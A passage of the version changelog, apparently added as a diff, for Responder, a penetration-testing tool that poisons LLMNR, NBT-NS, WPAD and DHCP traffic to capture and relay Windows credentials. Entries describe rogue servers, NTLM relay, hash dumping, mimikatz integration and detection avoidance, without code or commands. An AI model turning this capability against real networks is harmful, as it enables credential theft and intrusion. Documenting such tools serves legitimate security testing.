exploide). +- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide). +- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx). +- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide). +- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks). +- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown). +- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown). +- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero). +- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx). +- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx). + +### Removed + +- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx). +- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx). +- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx). +- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx). +- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx). + +## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26 + +[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0) + +### Fixed + +- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx). +- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon). +- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist). + +### Removed + +- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx). +- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx). + +## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12 + +[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0) + +### Added + +- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx). + +### Fixed + +- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov). + +## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17 + +[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0) + +### Added + +- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx). +- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx). +- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx). +- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx). +- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx). + +### Removed + +- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx). + +## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10 + +[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0) + +### Added + +- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx). +- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx). + +### Fixed + +- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx). + +### Removed + +- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx). + +## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03 + +[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0) + +### Added + +- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx). +- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx). +- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx). +- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx). + +### Fixed + +- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx). +- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx). + +### Removed + +- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx). +- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx). +- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx). +- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx). + +## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26 + +[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0) + +### Added + +- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx). +- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis). +- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis). +- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis). + +### Fixed + +- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx). + +## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19 + +[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0) + +### Added + +- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx). + +## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17 + +[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0) + +### Added + +- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx). + +### Removed + +- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx). + +## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12 + +[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0) + +### Added + +- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx). +- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx). +- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx). +- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx). +- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx). + +### Removed + +- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx). +- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx). +- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx). +- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx). +- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx). + +## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08 + +[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0) + +### Added + +- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx). +- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx). + +### Fixed + +- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan). +- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers). +- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark). + +## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28 + +[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0) + +### Fixed + +- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx). + +## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19 + +[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0) + +### Added + +- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam). + +### Fixed + +- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun). + +## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09 + +[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0) + +### Added + +- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx). + +## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17 + +[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0) + +### Added + +- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx). +- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A). + +### Fixed + +- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon). +- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx). +- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin). +- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin). +- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena). + +### Removed + +- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx). + +## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20 + +[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9) + +### Added + +- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx). +- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT). +- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx). + +## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05 + +[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8) + +### Changed + +- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx). + +## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05 + +[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7) + +### Added + +- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly). +- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley). +- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx). + +### Fixed + +- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx). +- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404). +- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos). + +## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29 + +[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6) + +### Fixed + +- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx). + +### Removed + +- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx). + +## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18 + +[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5) + +## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18 + +[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4) + +### Added + +- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx). +- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko). + +### Fixed + +- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx). +- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts). +- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos). + +## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03 + +[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3) + +### Added + +- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx). + +## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03 + +[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2) + +### Added + +- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx). +- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx). +- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx). +- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx). + +### Removed + +- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx). + +## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18 + +[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1) + +### Added + +- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx). + +### Fixed + +- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx). + +## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12 + +[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0) + +### Added + +- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx). + +### Fixed + +- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx). +- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx). +- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx). + +### Changed + +- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx). + +## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06 + +[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8) + +### Added + +- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx). + +## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05 + +[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7) + +### Added + +- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx). + +### Fixed + +- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx). + +## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05 + +[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6) + +## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03 + +[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5) + +### Added + +- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx). +- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx). + +### Removed + +- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx). + +## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12 + +[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4) + +## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12 + +[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3) + +### Added + +- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx). + +## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12 + +[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2) + +### Added + +- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx). +- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx). + +### Removed + +- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx). + +## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11 + +[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1) + +## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11 + +[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2) + +### Added + +- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx). +- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx). + +### Removed + +- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx). + +## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09 + +[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1) + +### Added + +- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx). +- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie). +- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger). +- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert). +- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver). +- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx). + +### Fixed + +- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie). +- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger). +- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS). +- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx). +- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx). +- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx). +- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx). +- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz). +- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn). + +### Changed + +- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight). +- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx). +- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut). +- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut). + +### Removed + +- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie). + +## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11 + +[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0) + +### Added + +- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx). +- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by 